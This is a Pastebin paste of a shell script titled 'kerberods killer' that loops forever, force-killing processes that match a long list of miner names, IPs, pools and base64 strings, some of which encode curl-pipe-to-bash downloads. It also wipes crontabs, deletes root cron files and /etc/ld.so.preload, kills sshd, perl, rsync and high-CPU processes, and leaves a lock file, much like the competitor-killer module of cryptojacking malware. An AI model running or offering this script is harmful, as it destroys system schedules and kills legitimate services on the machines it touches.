API tools faq
paste
edwilliams

kerberods killer

edwilliams
May 8th, 2019
249
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 18.35 KB | None | 0 0
raw download clone embed print report diff
  1. #!/bin/sh
  2.  
  3. KILLER() {
  4.     crontab -l | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|91.201.42.5' | crontab -r
  5.     crontab -l | grep 'pastebin.com' | crontab -r
  6.     crontab -l | grep 'gitee.com' | crontab -r
  7.     crontab -l | grep '107.174.47.156' | crontab -r
  8.     crontab -l | grep '83.220.169.24' | crontab -r
  9.     crontab -l | grep '51.38.203.146' | crontab -r
  10.     crontab -l | grep 'mr.sh' | crontab -r
  11.     crontab -l | grep '2mr.sh' | crontab -r
  12.     crontab -l | grep 'cr5.sh' | crontab -r
  13.     crontab -l | grep 'logo9.jpg' | crontab -r
  14.     ps aux | grep '192.99.142.226\|82.146.58.234\|83.220.169.247\|51.68.173.240\|91.201.42.5' | awk '{print $2}' | xargs kill -9
  15.     ps aux | grep -v grep | grep 'kworkerdssx -c\' | awk '{print $2}' | xargs kill -9
  16.     ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs kill -9
  17.     ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs kill -9
  18.     ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs kill -9
  19.     ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs kill -9
  20.     ps aux | grep -v grep | grep '/tmp/65ccEJ7\' | awk '{print $2}' | xargs kill -9
  21.     ps aux | grep -v grep | grep '/tmp/jmxx\' | awk '{print $2}' | xargs kill -9
  22.     ps aux | grep -v grep | grep '/tmp/2Ne80nA\' | awk '{print $2}' | xargs kill -9
  23.     ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR'| awk '{print $2}' | xargs kill -9
  24.     ps aux | grep -v grep | grep '45.76.122.92'| awk '{print $2}' | xargs kill -9
  25.     ps aux | grep -v grep | grep '51.38.191.178'| awk '{print $2}' | xargs kill -9
  26.     ps aux | grep -v grep | grep '51.15.56.161'| awk '{print $2}' | xargs kill -9
  27.     ps aux | grep -v grep | grep '86s.jpg'| awk '{print $2}' | xargs kill -9
  28.     #ps aux | grep -v grep | grep 'pastebin.com'| awk '{print $2}' | xargs kill -9
  29.     ps aux | grep -v grep | grep 'aGTSGJJp'| awk '{print $2}' | xargs kill -9
  30.     ps aux | grep -v grep | grep 'nMrfmnRa'| awk '{print $2}' | xargs kill -9
  31.     ps aux | grep -v grep | grep 'PuNY5tm2'| awk '{print $2}' | xargs kill -9
  32.     ps aux | grep -v grep | grep 'I0r8Jyyt'| awk '{print $2}' | xargs kill -9
  33.     ps aux | grep -v grep | grep 'AgdgACUD'| awk '{print $2}' | xargs kill -9
  34.     ps aux | grep -v grep | grep 'uiZvwxG8'| awk '{print $2}' | xargs kill -9
  35.     ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9
  36.     ps aux | grep -v grep | grep 'BtwXn5qH'| awk '{print $2}' | xargs kill -9
  37.     ps aux | grep -v grep | grep '3XEzey2T'| awk '{print $2}' | xargs kill -9
  38.     ps aux | grep -v grep | grep 't2tKrCSZ'| awk '{print $2}' | xargs kill -9
  39.     ps aux | grep -v grep | grep 'HD7fcBgg'| awk '{print $2}' | xargs kill -9
  40.     ps aux | grep -v grep | grep 'zXcDajSs'| awk '{print $2}' | xargs kill -9
  41.     ps aux | grep -v grep | grep '3lmigMo'| awk '{print $2}' | xargs kill -9
  42.     ps aux | grep -v grep | grep 'AkMK4A2'| awk '{print $2}' | xargs kill -9
  43.     ps aux | grep -v grep | grep 'AJ2AkKe'| awk '{print $2}' | xargs kill -9
  44.     ps aux | grep -v grep | grep 'HiPxCJRS'| awk '{print $2}' | xargs kill -9
  45.     ps aux | grep -v grep | grep 'http_0xCC030'| awk '{print $2}' | xargs kill -9
  46.     ps aux | grep -v grep | grep 'http_0xCC031'| awk '{print $2}' | xargs kill -9
  47.     ps aux | grep -v grep | grep 'http_0xCC032'| awk '{print $2}' | xargs kill -9
  48.     ps aux | grep -v grep | grep 'http_0xCC033'| awk '{print $2}' | xargs kill -9
  49.     ps aux | grep -v grep | grep "C4iLM4L"| awk '{print $2}'| xargs kill -9
  50.     ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9
  51.     ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs kill -9
  52.     ps aux | grep -v grep | grep '/boot/vmlinuz'| awk '{print $2}' | xargs kill -9
  53.     ps aux | grep -v grep | grep "i4b503a52cc5"| awk '{print $2}'|xargs kill -9
  54.     ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2"| awk '{print $2}'|xargs kill -9
  55.     ps aux | grep -v grep | grep "2g0uv7npuhrlatd"| awk '{print $2}'|xargs kill -9
  56.     ps aux | grep -v grep | grep "nqscheduler"| awk '{print $2}'| xargs kill -9
  57.     ps aux | grep -v grep | grep "rkebbwgqpl4npmm"| awk '{print $2}'| xargs kill -9
  58.     ps aux | grep -v grep | grep -v aux |grep "]"| awk '$3>10.0{print $2}'| xargs kill -9
  59.     ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s"| awk '{print $2}'| xargs kill -9
  60.     ps aux | grep -v grep | grep "0kwti6ut420t"| awk '{print $2}'| xargs kill -9
  61.     ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm"| awk '{print $2}'| xargs kill -9
  62.     ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs kill -9
  63.     ps aux | grep -v grep | grep  "\[^" | awk '{print $2}'| xargs kill -9
  64.     ps aux | grep -v grep | grep "rsync" | awk '{print $2}'| xargs kill -9
  65.     ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}'| xargs kill -9
  66.     ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs kill -9
  67.     #ps aux | grep -v grep | grep " \["|grep watchbog| awk '{print $2}'| xargs kill -9
  68.     #ps aux | grep -v grep | grep " \["|grep bash| awk '{print $2}'| xargs kill -9
  69.     ps aux | grep -v grep | grep "158.69.133.18:8220"| awk '{print $2}'| xargs kill -9
  70.     ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}'| xargs kill -9
  71.     ps aux | grep -v grep | grep 'gitee.com'| awk '{print $2}' | xargs kill -9
  72.     ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}'| xargs kill -9
  73.     ps aux | grep -v grep | grep '104.248.4.162'| awk '{print $2}' | xargs kill -9
  74.     ps aux | grep -v grep | grep '89.35.39.78'| awk '{print $2}' | xargs kill -9
  75.     ps aux | grep -v grep | grep '/dev/shm/z3.sh'| awk '{print $2}' | xargs kill -9
  76.     #ps aux | grep -v grep | grep '/bin/bash'| awk '{print $2}' | xargs kill -9
  77.     ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}'| xargs kill -9
  78.     ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}'| xargs kill -9
  79.     ps aux | grep -v grep | grep 'netdns' | awk '{print $2}'| xargs kill -9
  80.     ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}'| xargs kill -9
  81.     ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd |awk '$3>10.0{print $2}' | xargs kill -9
  82.     ps aux | grep -v grep | grep -v aux |grep "\-bash"| awk '{print $2}'| xargs kill -9
  83.     ps aux | grep -v grep | grep -v bin| grep sshd| awk '{print $2}'| xargs kill -9
  84.     ps aux | grep -v grep | grep -v aux | grep " ps"| awk '{print $2}'| xargs kill -9
  85.     ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs kill -9
  86.     ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs kill -9
  87.     ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9
  88.     ps aux | grep -v grep | grep -v aux |grep "x]"| awk '{print $2}'| xargs kill -9
  89.     ps aux | grep -v grep | grep -v aux |grep "sh] <"| awk '{print $2}'| xargs kill -9
  90.     ps aux | grep -v grep | grep -v aux |grep " \[]"| awk '{print $2}'| xargs kill -9
  91.     ps aux | grep -v grep | grep '/tmp/l.sh'| awk '{print $2}' | xargs kill -9
  92.     ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs kill -9
  93.     ps aux | grep -v grep | grep 'hahwNEdB'| awk '{print $2}' | xargs kill -9
  94.     ps aux | grep -v grep | grep 'CnzFVPLF'| awk '{print $2}' | xargs kill -9
  95.     ps aux | grep -v grep | grep 'CvKzzZLs'| awk '{print $2}' | xargs kill -9
  96.     ps aux | grep -v grep | grep 'aziplcr72qjhzvin'| awk '{print $2}' | xargs kill -9
  97.     ps aux | grep -v grep | grep '/tmp/udevd'| awk '{print $2}' | xargs kill -9
  98.     ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs kill -9
  99.     ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs kill -9
  100.     ps aux | grep -v grep | grep 'sustse'| awk '{print $2}' | xargs kill -9
  101.     ps aux | grep -v grep | grep 'sustse3'| awk '{print $2}' | xargs kill -9
  102.     ps aux | grep -v grep | grep 'mr.sh'| grep 'wget'| awk '{print $2}' | xargs kill -9
  103.     ps aux | grep -v grep | grep 'mr.sh'| grep 'curl'| awk '{print $2}' | xargs kill -9
  104.     ps aux | grep -v grep | grep '2mr.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9
  105.     ps aux | grep -v grep | grep '2mr.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9
  106.     ps aux | grep -v grep | grep 'cr5.sh'| grep 'wget' | awk '{print $2}' | xargs kill -9
  107.     ps aux | grep -v grep | grep 'cr5.sh'| grep 'curl' | awk '{print $2}' | xargs kill -9
  108.     ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs kill -9
  109.     ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs kill -9
  110.     ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs kill -9
  111.     ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs kill -9
  112.     ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs kill -9
  113.     ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs kill -9
  114.     ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs kill -9
  115.     ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9
  116.     ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9
  117.     ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs kill -9
  118.     ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs kill -9
  119.     ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs kill -9
  120.     ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs kill -9
  121.     ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs kill -9
  122.     ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs kill -9
  123.     ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs kill -9
  124.     ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs kill -9
  125.     ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs kill -9
  126.     ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs kill -9
  127.     ps auxf| grep -v grep | grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
  128.     ps auxf| grep -v grep | grep "pool.t00ls.ru"|awk '{print $2}'|xargs kill -9
  129.     ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
  130.     ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
  131.     ps auxf| grep -v grep | grep "[email protected]"|awk '{print $2}'|xargs kill -9
  132.     ps auxf| grep -v grep | grep "monerohash.com"|awk '{print $2}'|xargs kill -9
  133.     ps auxf| grep -v grep | grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
  134.     ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
  135.     ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
  136.     ps auxf| grep -v grep | grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
  137.     ps auxf| grep -v grep | grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
  138.     ps auxf| grep -v grep | grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
  139.     ps auxf| grep xiaoyao | awk '{print $2}'|xargs kill -9
  140.     ps auxf| grep xiaoxue | awk '{print $2}'|xargs kill -9
  141.     netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  142.     netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
  143.     pgrep -f monerohash|xargs kill -9
  144.     pgrep -f L2Jpbi9iYXN|xargs kill -9
  145.     pgrep -f xzpauectgr|xargs kill -9
  146.     pgrep -f slxfbkmxtd|xargs kill -9
  147.     pgrep -f mixtape|xargs kill -9
  148.     pgrep -f addnj|xargs kill -9
  149.     pgrep -f 200.68.17.196|xargs kill -9
  150.     pgrep -f IyEvYmluL3NoCgpzUG|xargs kill -9
  151.     pgrep -f KHdnZXQgLXFPLSBodHRw|xargs kill -9
  152.     pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3|xargs kill -9
  153.     pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo|xargs kill -9
  154.     pgrep -f mwyumwdbpq.conf|xargs kill -9
  155.     pgrep -f honvbsasbf.conf|xargs kill -9
  156.     pgrep -f mqdsflm.cf|xargs kill -9
  157.     pgrep -f stratum|xargs kill -9
  158.     pgrep -f lower.sh|xargs kill -9
  159.     pgrep -f ./ppp|xargs kill -9
  160.     pgrep -f cryptonight|xargs kill -9
  161.     pgrep -f ./seervceaess|xargs kill -9
  162.     pgrep -f ./servceaess|xargs kill -9
  163.     pgrep -f ./servceas|xargs kill -9
  164.     pgrep -f ./servcesa|xargs kill -9
  165.     pgrep -f ./vsp|xargs kill -9
  166.     pgrep -f ./jvs|xargs kill -9
  167.     pgrep -f ./pvv|xargs kill -9
  168.     pgrep -f ./vpp|xargs kill -9
  169.     pgrep -f ./pces|xargs kill -9
  170.     pgrep -f ./rspce|xargs kill -9
  171.     pgrep -f ./haveged|xargs kill -9
  172.     pgrep -f ./jiba|xargs kill -9
  173.     pgrep -f ./watchbog|xargs kill -9
  174.     pgrep -f ./A7mA5gb|xargs kill -9  
  175.     pgrep -f kacpi_svc|xargs kill -9
  176.     pgrep -f kswap_svc|xargs kill -9
  177.     pgrep -f kauditd_svc|xargs kill -9
  178.     pgrep -f kpsmoused_svc|xargs kill -9
  179.     pgrep -f kseriod_svc|xargs kill -9
  180.     pgrep -f kthreadd_svc|xargs kill -9
  181.     pgrep -f ksoftirqd_svc|xargs kill -9
  182.     pgrep -f kintegrityd_svc|xargs kill -9
  183.     pgrep -f jawa|xargs kill -9
  184.     pgrep -f oracle.jpg|xargs kill -9
  185.     pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN|xargs kill -9
  186.     pgrep -f 188.209.49.54|xargs kill -9
  187.     pgrep -f 181.214.87.241|xargs kill -9
  188.     pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ|xargs kill -9
  189.     pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj|xargs kill -9
  190.     pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK|xargs kill -9
  191.     pgrep -f servim|xargs kill -9
  192.     pgrep -f kblockd_svc|xargs kill -9
  193.     pgrep -f native_svc|xargs kill -9
  194.     pgrep -f sshd2|xargs kill -9
  195.     pgrep -f ynn|xargs kill -9
  196.     pgrep -f perl|xargs kill -9
  197.     pgrep -f 65ccEJ7|xargs kill -9
  198.     pgrep -f jmxx|xargs kill -9
  199.     pgrep -f 2Ne80nA|xargs kill -9
  200.     pgrep -f sysstats|xargs kill -9
  201.     pgrep -f systemxlv|xargs kill -9
  202.     pgrep -f watchbog|xargs kill -9
  203.     pgrep -f OIcJi1m|xargs kill -9
  204.     pkill -f biosetjenkins
  205.     pkill -f Loopback
  206.     pkill -f apaceha
  207.     pkill -f cryptonight
  208.     pkill -f stratum
  209.     pkill -f mixnerdx
  210.     pkill -f performedl
  211.     pkill -f JnKihGjn
  212.     pkill -f irqba2anc1
  213.     pkill -f irqba5xnc1
  214.     pkill -f irqbnc1
  215.     pkill -f ir29xc1
  216.     pkill -f conns
  217.     pkill -f irqbalance
  218.     pkill -f crypto-pool
  219.     pkill -f XJnRj
  220.     pkill -f mgwsl
  221.     pkill -f pythno
  222.     pkill -f jweri
  223.     pkill -f lx26
  224.     pkill -f NXLAi
  225.     pkill -f BI5zj
  226.     pkill -f askdljlqw
  227.     pkill -f minerd
  228.     pkill -f minergate
  229.     pkill -f Guard.sh
  230.     pkill -f ysaydh
  231.     pkill -f bonns
  232.     pkill -f donns
  233.     pkill -f kxjd
  234.     pkill -f Duck.sh
  235.     pkill -f bonn.sh
  236.     pkill -f conn.sh
  237.     pkill -f kworker34
  238.     pkill -f kw.sh
  239.     pkill -f pro.sh
  240.     pkill -f polkitd
  241.     pkill -f acpid
  242.     pkill -f icb5o
  243.     pkill -f nopxi
  244.     pkill -f irqbalanc1
  245.     pkill -f minerd
  246.     pkill -f i586
  247.     pkill -f gddr
  248.     pkill -f mstxmr
  249.     pkill -f ddg.2011
  250.     pkill -f wnTKYg
  251.     pkill -f deamon
  252.     pkill -f disk_genius
  253.     pkill -f sourplum
  254.     pkill -f polkitd
  255.     pkill -f nanoWatch
  256.     pkill -f zigw  
  257.     pkill -f devtool   
  258.     pkill -f devtools  
  259.     pkill -f systemctI 
  260.     pkill -f watchbog
  261.     pkill -f cryptonight
  262.     pkill -f sustes
  263.     pkill -f xmrig
  264.     pkill -f xmr-stak
  265.     pkill -f suppoie
  266.     pkill -f zer0day.ru
  267.     pkill -f dbus-daemon--system
  268.     pkill -f nullcrew
  269.     pkill -f systemctI
  270.     pkill -f kworkerds
  271.     pkill -f init10.cfg
  272.     pkill -f /wl.conf
  273.     pkill -f crond64
  274.     pkill -f sustse
  275.     pkill -f vmlinuz
  276.     rm -rf /tmp/wc.conf
  277.     rm -rf /tmp/sustse
  278.     rm -rf /tmp/php
  279.     rm -rf /tmp/p2.conf
  280.     rm -rf /tmp/pprt
  281.     rm -rf /tmp/ppol
  282.     rm -rf /tmp/javax/config.sh
  283.     rm -rf /tmp/javax/sshd2
  284.     rm -rf /tmp/.profile
  285.     rm -rf /tmp/1.so
  286.     rm -rf /tmp/kworkerds
  287.     rm -rf /tmp/kworkerds3
  288.     rm -rf /tmp/kworkerdssx
  289.     rm -rf /tmp/xd.json
  290.     rm -rf /tmp/syslogd
  291.     rm -rf /tmp/syslogdb
  292.     rm -rf /tmp/65ccEJ7
  293.     rm -rf /tmp/jmxx
  294.     rm -rf /tmp/2Ne80nA
  295.     rm -rf /tmp/dl
  296.     rm -rf /tmp/ddg
  297.     rm -rf /tmp/systemxlv
  298.     rm -rf /tmp/systemctI
  299.     rm -rf /tmp/.abc
  300.     rm -rf /tmp/osw.hb
  301.     rm -rf /tmp/.tmpleve
  302.     rm -rf /tmp/.tmpnewzz  
  303.     rm -rf /tmp/.java  
  304.     rm -rf /tmp/.omed
  305.     rm -rf /tmp/.tmpc
  306.     rm -rf /tmp/.tmpleve
  307.     rm -rf /tmp/.tmpnewzz
  308.     rm -rf /tmp/gates.lod
  309.     rm -rf /tmp/conf.n
  310.     rm -rf /tmp/update.sh
  311.     rm -rf /tmp/devtool
  312.     rm -rf /tmp/devtools
  313.     rm -rf /tmp/fs
  314.     rm -rf /tmp/.rod
  315.     rm -rf /tmp/.rod.tgz
  316.     rm -rf /tmp/.rod.tgz.1
  317.     rm -rf /tmp/.rod.tgz.2
  318.     rm -rf /tmp/.mer
  319.     rm -rf /tmp/.mer.tgz
  320.     rm -rf /tmp/.mer.tgz.1
  321.     rm -rf /tmp/.hod
  322.     rm -rf /tmp/.hod.tgz
  323.     rm -rf /tmp/.hod.tgz.1
  324.     rm -rf /tmp/84Onmce
  325.     rm -rf /tmp/C4iLM4L
  326.     rm -rf /tmp/lilpip
  327.     rm -rf /tmp/3lmigMo
  328.     rm -rf /tmp/am8jmBP
  329.     rm -rf /tmp/tmp.txt
  330.     rm -rf /tmp/baby
  331.     rm -rf /tmp/.lib
  332.     rm -rf /tmp/systemd
  333.     rm -rf /tmp/lib.tar.gz
  334.     rm -rf /tmp/baby
  335.     rm -rf /tmp/java
  336.     rm -rf /tmp/j2.conf
  337.     rm -rf /tmp/.mynews1234
  338.     rm -rf /tmp/a3e12d
  339.     rm -rf /tmp/.pt
  340.     rm -rf /tmp/.pt.tgz
  341.     rm -rf /tmp/.pt.tgz.1
  342.     rm -rf /tmp/go
  343.     rm -rf /tmp/java
  344.     rm -rf /tmp/j2.conf
  345.     rm -rf /tmp/.tmpnewasss
  346.     rm -rf /tmp/java
  347.     rm -rf /tmp/go.sh
  348.     rm -rf /tmp/go2.sh
  349.     rm -rf /tmp/khugepageds
  350.     rm -rf /tmp/.censusqqqqqqqqq
  351.     rm -rf /tmp/.kerberods
  352.     rm -rf /tmp/kerberods
  353.     rm -rf /tmp/seasame
  354.     rm -rf /tmp/touch
  355.     rm -rf /tmp/.p
  356.     rm -rf /tmp/runtime2.sh
  357.     rm -rf /tmp/runtime.sh
  358.     rm -rf /dev/shm/z3.sh
  359.     rm -rf /dev/shm/z2.sh
  360.     rm -rf /dev/shm/.scr
  361.     rm -rf /dev/shm/.kerberods
  362.     rm -f /etc/ld.so.preload
  363.     rm -f /usr/local/lib/libioset.so
  364.     chattr -i /etc/ld.so.preload
  365.     rm -f /etc/ld.so.preload
  366.     rm -f /usr/local/lib/libioset.so
  367.     rm -rf /tmp/watchdogs
  368.     rm -rf /etc/cron.d/tomcat
  369.     rm -rf /etc/cron.d/root
  370.     rm -rf /var/spool/cron/root
  371.     rm -rf /var/spool/cron/crontabs/root
  372.     rm -rf /etc/rc.d/init.d/watchdogs
  373.     rm -rf /usr/sbin/watchdogs
  374.     rm -f /tmp/kthrotlds
  375.     rm -f /etc/rc.d/init.d/kthrotlds
  376.     rm -rf /tmp/.sysbabyuuuuu12
  377.     rm -rf /tmp/logo9.jpg
  378.     rm -rf /tmp/miner.sh
  379.     rm -rf /tmp/nullcrew
  380.     rm -rf /tmp/proc
  381.     rm -rf /tmp/2.sh
  382.     rm /opt/atlassian/confluence/bin/1.sh
  383.     rm /opt/atlassian/confluence/bin/1.sh.1
  384.     rm /opt/atlassian/confluence/bin/1.sh.2
  385.     rm /opt/atlassian/confluence/bin/1.sh.3
  386.     rm /opt/atlassian/confluence/bin/3.sh
  387.     rm /opt/atlassian/confluence/bin/3.sh.1
  388.     rm /opt/atlassian/confluence/bin/3.sh.2
  389.     rm /opt/atlassian/confluence/bin/3.sh.3
  390.     rm -rf /var/tmp/f41
  391.     rm -rf /var/tmp/2.sh
  392.     rm -rf /var/tmp/config.json
  393.     rm -rf /var/tmp/xmrig
  394.     rm -rf /var/tmp/1.so
  395.     rm -rf /var/tmp/kworkerds3
  396.     rm -rf /var/tmp/kworkerdssx
  397.     rm -rf /var/tmp/kworkerds
  398.     rm -rf /var/tmp/wc.conf
  399.     rm -rf /var/tmp/nadezhda.
  400.     rm -rf /var/tmp/nadezhda.arm
  401.     rm -rf /var/tmp/nadezhda.arm.1
  402.     rm -rf /var/tmp/nadezhda.arm.2
  403.     rm -rf /var/tmp/nadezhda.x86_64
  404.     rm -rf /var/tmp/nadezhda.x86_64.1
  405.     rm -rf /var/tmp/nadezhda.x86_64.2
  406.     rm -rf /var/tmp/sustse3
  407.     rm -rf /var/tmp/sustse
  408.     rm -rf /var/tmp/moneroocean/
  409.     rm -rf /var/tmp/config.json
  410.     rm -rf /var/tmp/devtool
  411.     rm -rf /var/tmp/devtools
  412.     rm -rf /var/tmp/play.sh
  413.     rm -rf /var/tmp/systemctI
  414.     rm -rf /var/tmp/update.sh
  415.     rm -rf /var/tmp/.java
  416.     rm -rf /var/tmp/1.sh
  417.     rm -rf /var/tmp/conf.n
  418.     rm -r /var/tmp/lib
  419.     rm -r /var/tmp/.lib
  420.     touch /tmp/lok
  421.  
  422. };
  423.  
  424.  
  425. while true; do
  426.     KILLER
  427.     sleep 1;
  428. done
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!